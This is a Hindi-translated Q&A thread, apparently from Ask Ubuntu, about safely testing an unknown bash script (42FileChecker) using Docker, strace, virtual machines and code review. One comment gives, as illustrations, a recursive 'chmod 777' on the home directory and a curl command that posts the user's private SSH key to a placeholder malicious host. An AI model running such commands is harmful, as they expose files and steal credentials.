मैं अपने कंप्यूटर को नुकसान से बचने के लिए "सुरक्षित वातावरण" में शेल स्क्रिप्ट का परीक्षण कैसे कर सकता हूं?


29

मैं कमांड का उपयोग करके 42FileChecker नामक एक निश्चित बैश स्क्रिप्ट स्थापित करना चाहता हूं:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

लेकिन मुझे नहीं पता कि 42FileChecker.sh मेरे पीसी पर कोई अजीब काम करेगा क्योंकि मैं एक शुरुआती हूं और यह नहीं जानता कि उस स्क्रिप्ट में क्या हो रहा है। वहाँ एक डमी टर्मिनल या डमी रूट फ़ोल्डर या ऐसा कुछ देखने के लिए इसे चलाने का एक तरीका है कि ऐसा क्या होता है ताकि मैं अपने ड्राइव के प्रारूपण की तरह कुछ पागल से बचूं। मैं भविष्य के शेल स्क्रिप्ट के लिए गोले का परीक्षण करने के किसी भी तरीके के बारे में जानना चाहूंगा, भले ही 42FileChecker.sh सुरक्षित हो।


5
चूंकि यह एक स्क्रिप्ट है, आप इसे पढ़ सकते हैं, और manइसमें निहित आदेशों पर पृष्ठों को पढ़ सकते हैं ।
वाल्टिनेटर

1
ध्यान दें कि चूंकि कोड Git पर होस्ट किया गया है, आप टूल के स्रोत के माध्यम से पढ़ सकते हैं। यदि कोड की समीक्षा आपकी चीज़ नहीं है, तो किसी तरह के "डायनामिक" विश्लेषण को एक सुरक्षित वातावरण (सैंडबॉक्स, वीएम) में चलाकर करना आपकी अगली सबसे अच्छी शर्त है
ब्लूकैक्टी

4
@waltinator यदि आप दुर्भावनापूर्ण व्यवहार के बारे में चिंतित हैं, तो केवल अनपेक्षित व्यवहार के बजाय, मानव पृष्ठों को पढ़ने से मदद नहीं मिलेगी।
रे

1
@, केवल तभी, जब आदेश चलाए जा रहे हैं, वे स्वयं दुर्भावनापूर्ण हैं, इसलिए उनके मैन पेज उनके वास्तविक प्रभावों को छिपाएंगे। मुझे लगता है कि waltinator मानक आदेशों, जैसे की दुर्भावनापूर्ण उपयोग की अधिक संभावित मामले का हवाला देते हुए chmod 777 -R ~या curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsaया इसी तरह की।
वाइल्डकार्ड

1
संबंधित । आप अपने कंप्यूटर को कोई नुकसान पहुंचाए बिना स्क्रिप्ट का परीक्षण कर सकते हैं और यह आपके सहयोगियों को अपने सत्रों को लॉक करना सिखाएगा।
एरिक डुमिनील

जवाबों:


4

मैं इस पर कोई विशेषज्ञ नहीं हूं, लेकिन मैं उपयोग करने की सलाह दूंगा straceऔर docker

इसलिए पहले इस उत्तर में निर्देशों के अनुसार डॉकटर कंटेनर बनाएं । लेकिन इसके अलावा यह स्ट्रेस आपको बताएगा कि सिस्टम कॉल क्या हैं। या बोली के लिए:

स्ट्रेस लिनक्स के लिए एक डायग्नोस्टिक, डीबगिंग और इंस्ट्रक्शनल यूजरस्पेस यूटिलिटी है। इसका उपयोग प्रक्रियाओं और लिनक्स कर्नेल के बीच बातचीत की निगरानी और छेड़छाड़ करने के लिए किया जाता है, जिसमें सिस्टम कॉल, सिग्नल डिलीवरी और प्रक्रिया की स्थिति में बदलाव शामिल हैं।

आप इन कमांड को जोड़ सकते हैं

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

तो यह स्क्रिप्ट (चरण-दर-चरण) की प्रत्येक पंक्ति के माध्यम से जाएगा और कंटेनर के अंदर भी यह सब करेगा, जिसका अर्थ है कि सभी कमांड मेरे सिस्टम के लिए बिल्कुल कुछ भी नहीं करेंगे, लेकिन हमेशा की तरह चलाए जाएंगे। क्या मुझे ये ठीक तरह से समझ आ रहा है?
निकोलस

1
@nicholas हाँ, डॉक कंटेनर आपकी सुरक्षा के लिए एक अलग मशीन है, कार्यक्रम सैंडबॉक्स किया गया है। स्ट्रेस आपको उन सभी कार्यों के साथ प्रदान करेगा जो एप्लिकेशन उस मशीन को करता है, जिसमें फाइल खोलने से लेकर नेटवर्क कनेक्शन स्थापित करना शामिल है।
थॉमस

1
हां, यह वही है जो मैं देख रहा था, स्ट्रेस ने डॉकर के साथ मिलकर काम किया।
निकोलस

42

यदि आप सुनिश्चित नहीं हैं कि कोई स्क्रिप्ट क्या करती है, तो आप इसे तब तक नहीं चलाना चाहते जब तक कि आप यह सुनिश्चित न कर लें कि यह क्या करता है। खराब स्क्रिप्ट की क्षति त्रिज्या को कम करने के तरीकों में एक नए उपयोगकर्ता का उपयोग करके इसे चलाना, इसे कंटेनर में चलाना या वर्चुअल मशीन में चलाना शामिल है। लेकिन वह पहला बयान अब भी है: यदि आप सुनिश्चित नहीं हैं कि कुछ क्या करता है, तो इसे तब तक नहीं चलाने पर विचार करें जब तक आप ऐसा नहीं करते।


6
दूसरी ओर स्क्रिप्ट EULAs की तरह हैं: हाँ, आपको अपनी आत्मा को बेचने से पहले हर एक पंक्ति को पढ़ना और समझना चाहिए, लेकिन क्या आप?
पीटर - मोनिका

7
@ पीटरए श्नाइडर, लेकिन EULA वास्तव में कुछ भी नहीं करता है जब तक कि अदालत में नहीं ले जाया जाता है। स्क्रिप्ट चलाने से आपके कंप्यूटर पर तत्काल प्रभाव पड़ता है। हर पंक्ति को पढ़ने के बारे में इतना नहीं है; यह "ट्रस्टिंग ट्रस्ट पर विचार" और स्क्रिप्ट के स्रोत को जानने और भरोसा करने के बारे में अधिक है।
वाइल्डकार्ड

29

जैसा कि @ctt ने कहा, संभवतः इसे किसी प्रकार के सैंडबॉक्स में चलाना एक अच्छा विचार है। VM का उपयोग करना शायद सबसे आसान उपाय है। मल्टीपास बहुत सरल है।

मल्टीपास स्थापित करें (यह मानते हुए कि आप पहले से ही नहीं हैं):

sudo snap install multipass --beta --classic

एक नया वीएम स्पिन करें:

multipass launch --name myvm

अपने नए VM में लॉगिन करें:

multipass shell myvm

फिर अपनी स्क्रिप्ट (अपने vm के अंदर) चलाएं:

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

38
यह दृष्टिकोण सुरक्षित नहीं है। सैंडबॉक्स में स्क्रिप्ट चलाने के बाद, आप यह कैसे बताने जा रहे हैं कि यह सुरक्षित था? इसके हानिकारक प्रभाव हो सकते हैं जिन्हें आप आसानी से नहीं कह सकते। मैलवेयर जरूरी नहीं कि पॉप अप करे और कहे "हाहा, मिल गया!"। इसके अलावा, एक दुर्भावनापूर्ण स्क्रिप्ट आसानी से सौम्य तरीके से व्यवहार कर सकती है जबकि सैंडबॉक्स या वीएम में और फिर अपने वास्तविक कंप्यूटर पर दुर्भावनापूर्ण व्यवहार कर सकती है। (उदाहरण के लिए, वीएम डिटेक्शन एक चीज है, जैसा कि मशीन फिंगरप्रिंटिंग है।)
डीडब्ल्यू

12
यह एक बड़ा मुद्दा है। यदि आप मैलवेयर के लिए स्क्रिप्ट का निरीक्षण करना चाहते हैं, तो यह एक प्रभावी समाधान नहीं है। यह आपके होस्ट सिस्टम को प्रदूषित किए बिना कार्यक्षमता का परीक्षण करने का एक तरीका है।
रयान जे। योडर

आप "कंट्रोल" वीएम के साथ पूर्ण तुलना कर सकते हैं।
mckenzm

6
@mckenzm: लेकिन अगर यह मैलवेयर है, तो यह पूरी तरह से संभव है कि यह कुछ भी करने के लिए तब तक चुनेगा जब तक यह खुद को रसदार लगने वाली चीज तक पहुंच न पाए।
हेनिंग मैखोलम

11

जैसा कि आप जिस स्कूल में जा रहे हैं, उसने स्क्रिप्ट प्रकाशित की है, आपकी चिंताओं को आवाज़ देने का सबसे अच्छा स्थान आपके प्रशिक्षकों के साथ है।

कहा कि हम आपको लाइन के आधार पर कोड को समझने में मदद कर सकते हैं। सभी कोड का विश्लेषण करना यहां किसी के लिए भी अव्यावहारिक है ।

आपके पास वास्तव में कुल 5,360 लाइनों के साथ 40 बैश स्क्रिप्ट हैं। मैंने उन्हें एक साथ जोड़ दिया है और उन बैश / शेल कमांड की तलाश कर रहा है जिनका दुरुपयोग किया जा सकता है। वे सभी सामान्य रूप से उपयोग किए जाते हैं :

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • rm -rf /पूरे हार्ड डिस्क विभाजन को पोंछने के लिए कोई कमांड नहीं है ।
  • कोई आवश्यकता नहीं है कि sudoस्क्रिप्ट चलाने के लिए उपयोग किया जाए।
  • स्क्रिप्ट वास्तव में सुनिश्चित करती है कि Cजाँच की गई फ़ाइलों में केवल अधिकृत फ़ंक्शन का उपयोग किया जाता है।
  • बैश / शेल कोड का एक त्वरित ब्राउज़ दिखाता है कि यह पेशेवर रूप से लिखा गया है और इसका पालन करना आसान है।
  • मर्ज किए गए शेलचेक का उपयोग करके फ़ाइलों में केवल तीन सिंटैक्स त्रुटियों का पता चलता है।
  • लेखक के नाम की पहचान की जाती है और मुख्य लेखक की तस्वीर भी उसके githubपृष्ठ पर होती है।
  • हालांकि जीवन में कोई गारंटी नहीं है, 42FileCheckerउपयोग करने के लिए सुरक्षित दिखाई देता है।

यह मानव-पठनीय बैश स्क्रिप्ट नहीं है जिसके बारे में आपको बहुत चिंता करने की आवश्यकता है। यह उन द्विआधारी वस्तुओं को संकलित करता है जिन्हें आप पढ़ नहीं सकते हैं जो चिंता का कारण हैं। उदाहरण के लिए "चमकदार-उछाल-क्षेत्र" नामक एक कार्यक्रम आपकी स्क्रीन पर ऐसा कुछ चित्रित कर सकता है, लेकिन पृष्ठभूमि में यह आपकी सभी फाइलों को मिटा सकता है।


मूल उत्तर

स्क्रिप्ट के लेखक से यह पूछना सबसे अच्छा है कि वह क्या करता है। वास्तव में आप अपने प्रश्न को शब्दशः पोस्ट कर सकते हैं क्योंकि यह ऊपर दिखाई देता है।

लेखक से भी पूछें:

  • क्या फ़ाइलें अद्यतन की जाती हैं?
  • बिजली की विफलता या प्रोग्राम बग के कारण दुर्घटना होने पर क्या होता है?
  • क्या पहले मिनी-बैकअप किया जा सकता है?

और कोई भी अन्य अच्छा प्रश्न जिसके बारे में आप सोच सकते हैं।


संपादित 1 - एक दुर्भावनापूर्ण लेखक के बारे में चिंता।

आपको बहुत सारे अच्छे पब्लिक रिव्यू वाले सॉफ्टवेयर का उपयोग करना चाहिए। वैकल्पिक रूप से लेखकों को आप सर्ब, जैकोब, कॉलिन किंग, जैसे आस्क उबंटू में यहां भरोसा करते हैं। अन्य सम्मानित साइट जैसे आस्क उबंटू और उनके सम्मानित सदस्यों को भी "गैर-दुर्भावनापूर्ण" माना जाना चाहिए।

"सम्मानित लेखकों" का लाभ यहां पूछो उबंटू में है कि क्या वे "प्रतिष्ठा बिंदुओं" पर अपना आत्म-मूल्य दांव पर लगा रहे हैं। यदि वे जानबूझकर कोड लिखते हैं कि "चुराया" या "क्षतिग्रस्त" डेटा वे जल्दी से अपनी प्रतिष्ठा को ढीला कर देंगे। वास्तव में लेखक "क्रोध के प्रकोप" को झेल सकते हैं और उन्हें निलंबित किया जा रहा है और / या 10,000 की प्रतिष्ठा अंक छीन लिए गए हैं।


संपादन 2 - सभी निर्देशों का पालन न करें

मैंने आपके बैश स्क्रिप्ट निर्देशों पर एक गहरी नज़र डाली:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

"सुरक्षित" विधि केवल पहली पंक्ति को चलाने के लिए है:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

यह स्क्रिप्ट डाउनलोड करता है, लेकिन उन्हें चलाता नहीं है। अगला उपयोग nautilus(फ़ाइल प्रबंधक) निर्देशिकाओं और स्थापित फाइलों का निरीक्षण करने के लिए। बहुत जल्दी आपको पता चलता है कि फ्रांस में छात्रों के समूह द्वारा लिखी गई बैश लिपियों का एक संग्रह है।

स्क्रिप्ट का उद्देश्य अनुचित कार्यों और मेमोरी लीक के लिए सी कार्यक्रमों को संकलित और परीक्षण करना है।


1
मुझे हां करना चाहिए, लेकिन मैं उन स्थितियों के बारे में सोच रहा था जहां लेखक जानबूझकर कुछ दुर्भावनापूर्ण काम कर सकता है।
निकोलस

1
@nicholas मैंने उत्तर को संशोधित करके आपकी टिप्पणी का जवाब दिया।
विनयुनुच्स

2
मैं इकोले 42 पाठ्यक्रम में सी सीख रहा हूं। मैं जो कार्य कर रहा हूँ, वह इस मानदंड की जाँच के माध्यम से चलने की आवश्यकता है। मुझे इस मानदंड की जाँच को चलाने के लिए Ubuntu में 42FileChecker स्थापित करने की आवश्यकता है। मुझे लगता है कि मुझे अभी इस स्क्रिप्ट पर भरोसा करना है, लेकिन मुझे यह जानने की जरूरत है कि पहले स्क्रिप्ट का "सेफ-रन" कैसे किया जाए क्योंकि मैं आदमी की खोज करने में उतना महान नहीं हूं। सहायता के लिए धन्यवाद। मैं सिर्फ अगली बार एक वीएम चलाऊंगा।
निकोलस

2
~/42FileChecker/includes/display/display_credits.sh@ नोइचोलस लाइन 24 ऑफ स्टेट्स नॉमिनीनेट का काम एक निर्भरता है norminette (42 born2code) http://www.42.fr:। मैंने कल रात इसे पढ़ा और इसीलिए मैंने लिखा कि यह फ्रांस का एक स्कूल ( ईकोल ) था जिसने 42FileChecker प्रकाशित किया । अब तक मैंने जो भी कोड बनाया है, मैं उसे चलाने के बारे में चिंता नहीं करूंगा। इसके अलावा इसमें बहुत कम वाक्यविन्यास त्रुटियां हैं shellcheckजिनके द्वारा 5,360 लाइन बैश स्क्रिप्ट के लिए आश्चर्य की बात है। कई व्यावसायिक रूप से प्रकाशित बैश लिपियों में वाक्य रचना की बहुत सारी त्रुटियाँ हैं।
विनयुनुच्स

2
@nicholas सुरक्षा के दृष्टिकोण से, कक्षा के लिए प्रदान किए गए पर्यावरण और लिपियों का उपयोग करना संभवतः सबसे अच्छा तरीका है। यह आधिकारिक पाठ्यक्रम संस्करण की तुलना में अलग व्यवहार की संभावना को भी हटा देता है जो कि समय के साथ एक आश्चर्य हो सकता है। क्या आप सुनिश्चित हैं कि इस मशीन की कोई दूरस्थ पहुँच नहीं है, संभवतः किसी अन्य कंप्यूटर से वीपीएन सेवा या एसएसएच प्रदान किए गए परिसर का उपयोग करके आप दूरस्थ रूप से एक्सेस प्राप्त कर सकते हैं?
ट्रिगमेंडर्स

5

आप डॉकर का उपयोग कर सकते हैं। डॉकर कंटेनर होस्ट ओएस से अलग-थलग हैं, इसलिए कोई भी दुर्भावनापूर्ण गतिविधि एक कंटेनर के भीतर रहेगी, जब तक कि आप विशेष रूप से बंदरगाहों या बढ़ते फाइल सिस्टम से इसे बाहर न जाने दें।

Docker स्थापित करने के लिए:

sudo apt-get install docker.io

नया उबुनियन बायोनिक कंटेनर डाउनलोड करने के लिए:

docker pull ubuntu:bionic

उसके बाद, कंटेनर में लॉग इन करें

docker run -it ubuntu:bionic

और इसमें डॉगी ऑपरेशन करें:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

1
डॉकर का एक और लाभ जो यह निर्धारित करने में सहायक हो सकता है कि एक स्क्रिप्ट क्या करती है, आप यह docker diffदेखने के लिए दौड़ सकते हैं कि आपने कंटेनर लॉन्च करने के बाद से फाइलसिस्टम में कौन से बदलाव किए हैं। डॉकर का उपयोग करने का नकारात्मक पक्ष यह है कि कंटेनर यह मेजबान प्रणाली की पूरी प्रतिलिपि नहीं है। यहां आपके द्वारा उल्लिखित उबंटू छवि में केवल एक न्यूनतम उबंटू स्थापना शामिल है।
मार्टिज़न हेमेल्स

2
इसके बजाय docker run ubuntuआप चलाना चाहिए आप कंटेनर में एक इंटरैक्टिव टर्मिनल देता है और वास्तव में संस्करण आप डिफ़ॉल्ट के बजाय चाहते हैं चलाता है । docker run -it ubuntu:bionic-itbioniclatest
मार्टिज़न हेमेल्स

मुझे यह सबसे अच्छा लगता है, जो मैंने देखा है। हालाँकि, ऐसा लगता है कि डॉगी स्क्रिप्ट अभी भी आपके सिस्टम का दुरुपयोग कर सकती है। यह चुपके से bitcoins खनन किया जा सकता है, आदि आदर्श रूप में एक अतिरिक्त झंडे संभवतः इस्तेमाल कर सकते हैं --memory, --networkऔर हो सकता है वास्तव में करने के लिए दूसरों स्क्रिप्ट को लॉक।
एमोरी

1
यदि आप वास्तव में पागल हैं तो इस उत्तर को दूसरे सर्वोत्तम उत्तर के साथ जोड़ दें। एक वर्चुअल मशीन के अंदर डॉक रन करें, और सब कुछ लॉक करें।
एमोरी

3

स्क्रिप्ट चलाकर डिबगिंग मोड का उपयोग करने पर विचार करें:

$ bash -x scriptname

आगे उपयोगी बैश जानकारी

डिबगिंग मोड स्क्रिप्ट को कुछ बुरा करने से नहीं रोकेगा, लेकिन यह आपको स्क्रिप्ट लाइन के माध्यम से जाने देगा और प्रभावों की जांच करेगा। आप कुछ सामान्य संभावित गलतियों और / या कारनामों के लिए स्क्रिप्ट की जांच भी कर सकते हैं, जैसे कि किसी भी घटना के लिए स्क्रिप्ट खोजें rmऔर उन आदेशों को बहुत करीब से देखें। इसमें से कई टूल कुछ मदद उन्हें बाहर की कोशिश कर के लिए बनाया है, उदाहरण के लिए rm डिफ़ॉल्ट रूप से एक निर्देशिका हटाए नहीं जाएंगे, इसकी आवश्यकता है -r, -Rया --recursiveऐसा करने के लिए विकल्प।

यहां तक ​​कि कुछ एंटीवायरस जैसे उपकरण भी हो सकते हैं जो इन पैटर्नों के लिए बैश स्क्रिप्ट की खोज करेंगे, लेकिन मैं किसी भी नाम से परिचित नहीं हूं। आपके उदाहरण स्क्रिप्ट अतिरिक्त iffy की तरह हैं, इस अर्थ में कि वे अन्य उपकरण डाउनलोड करते हैं, इसलिए उनमें से प्रत्येक की भी जांच की जानी चाहिए। वे किस सर्वर से संपर्क करते हैं, यह जाँचना भी सार्थक हो सकता है।


-x का उपयोग डीबगिंग के लिए किया जा सकता है (और मैं इसका उपयोग करता हूं!) लेकिन यह आपको लाइन द्वारा स्क्रिप्ट लाइन के माध्यम से कदम नहीं उठाने देगा। यह आपको एक प्रकार का "ट्रेस" देगा क्योंकि यह पूरी गति से स्क्रिप्ट निष्पादित करता है।
jrw32982 मोनिका

2

उत्तर देने के लिए प्रासंगिक जानकारी केवल आपकी टिप्पणी में मिली हुई है।

मैं इकोले 42 पाठ्यक्रम में सी सीख रहा हूं। मैं जो कार्य कर रहा हूँ, वह इस मानदंड की जाँच के माध्यम से चलने की आवश्यकता है। मुझे इस मानदंड की जाँच को चलाने के लिए Ubuntu में 42FileChecker स्थापित करने की आवश्यकता है।

तो स्थिति यह है कि व्यवहार में आपके पास पाठ्यक्रम को छोड़ देने का विकल्प है, या आप अपने स्रोतों पर प्रामाणिक जांच करने के लिए स्क्रिप्ट चला सकते हैं। अपने प्रशिक्षक के साथ बात करना शायद ही एक विकल्प हो, पूर्व की कमी के कारण (यह एक विकल्प होगा अन्यथा वैसे भी, कोई भी स्कूल अपनी प्रक्रिया को बदलने नहीं जा रहा है क्योंकि एक छात्र इससे खुश नहीं है)।
सवाल यह है कि लिपि से संभावित नुकसान को सीमित करने के लिए क्या किया जाए इसलिए यह भी नहीं है। यह एक यादृच्छिक स्क्रिप्ट नहीं है कि बड़े स्तनों वाली एक कामुक लड़की ने आपको ई-मेल किया है, और जिसे आपको उसकी तस्वीर देखने के लिए भागना होगा
आप एक प्रोग्रामिंग क्लास कर रहे हैं। यहवह जगह है जहाँ यह स्क्रिप्ट खेल में आया था। सवाल यह है कि आप पाठ्यक्रम को सफलतापूर्वक पूरा करने के लिए फ्रेम की शर्तों का पालन करना चाहते हैं या नहीं।

हालाँकि, यदि आप वास्तव में चिंतित हैं, तो अभी भी कंटेनर या वर्चुअल मशीन में स्क्रिप्ट चलाने की संभावना है, और अपने स्रोतों को एक साझा फ़ोल्डर में, या कंटेनर / वर्चुअल मशीन द्वारा उजागर नेटवर्क साझा पर डाल सकते हैं। यह बहुत अधिक पूर्ण व्यामोह पथ पर जा रहा है, लेकिन फिर वर्चुअलाइजेशन वास्तव में इन दिनों सभी जटिल नहीं है, इसलिए यह बहुत भयानक खर्च नहीं करता है।

उस स्क्रिप्ट में निहित एक कठोर शोषण की संभावना की संभावना को रोकते हुए, किसी भी गैर-रूट उपयोगकर्ता के रूप में लॉगिंग (जो आपके पास शायद ही उबंटू पर अन्यथा करने का कोई विकल्प नहीं है) और बिना किसी स्पष्ट कारण के टाइप करने से बचने से sudo बहुत अधिक 99% रोकता है सभी बुरी चीजें जो संभवतः वैसे भी हो सकती हैं। जैसे कि हार्डडिस्क को फॉर्मेट करना, जिसके बारे में आप चिंतित हैं। एक सामान्य उपयोगकर्ता ऐसा नहीं कर सकता। सबसे खराब बात यह है कि स्क्रिप्ट उपयोगकर्ता के होम डायरेक्टरी को मिटा देती है। तो क्या, कोई मुद्दा नहीं, वास्तव में।


उम्मीद है कि ओपी टिप्पणी यहाँ पर अगर sudoस्क्रिप्ट चलाने के लिए आवश्यक है। +1
विनयुनुच्स

परहेज sudoकेवल बग के कारण आकस्मिक विलोपन / प्रारूपण के दायरे को सीमित करता है। यदि स्क्रिप्ट दुर्भावनापूर्ण या शोषक थी, तो sudoएकल उपयोगकर्ता प्रणाली पर चलने से कोई आवश्यक अंतर नहीं पड़ता है।
वह दूसरा लड़का

@ WinEunuuchs2Unix मुझे नहीं लगता कि sudo जरूरी है। मैं वास्तव में वास्तव में नहीं जानता। हालांकि मैं उपयुक्त कमांड स्थापित करने के लिए sudo का उपयोग कर रहा हूं। इसका मतलब यह है कि मुझे एक स्क्रिप्ट चलाने के लिए भी इसका उपयोग करने की आवश्यकता है?
निकोलस

1
@ मेरे पास कोई संकलन करने और परीक्षण करने के लिए कोई सी प्रोग्राम नहीं है, 42FileCheckerइसलिए मुझे वास्तव में यह नहीं कहा जा सकता है कि sudoज़रूरत है या नहीं। बैश स्क्रिप्ट सुडो के लिए जाँच नहीं करता है और आपको इसका उपयोग करने के लिए कहता है। यह तब दिखाई देगा, जिसकी sudoआवश्यकता नहीं है। एक बार फिर मुझे लगता है कि आपके प्रशिक्षक (शिक्षक) से पूछना सबसे अच्छी नीति है। मैंने स्क्रिप्ट के थोड़ा विश्लेषण के साथ एक घंटे पहले अपना जवाब अपडेट किया है। " mynorminette" नाम कोड के भीतर फिर से दिखाई दिया।
विनयुनुच्स

1
@nicholas मैं कुछ प्रशिक्षकों को व्यक्तिगत रूप से norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk और जीन-मिशेल गिगॉल्ट के बारे में बताता हूं, जिन्होंने सभी का योगदान दिया 42FileChecker। मेरा मानना ​​है कि प्रशिक्षकों से बात करने से आपका दिमाग आराम से सेट हो जाएगा। कुछ घंटों की जांच के बाद मुझे प्रोग्रामर और उनकी कृतियों पर भरोसा है। जीन-मिशेल गिगॉल्ट ने भी अपनी तस्वीर जीथब पर लिखी है। उस देश में आत्मविश्वास का एक बड़ा उदाहरण है जहां पीला बनियान के बीज बढ़ रहे हैं। विवा ला फ्रांस! (एट इकोले 42 :)) प्रगति के अपडेट देने के लिए हमें एक एहसान करो और छोड़ो।
विनयुनुच्स
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.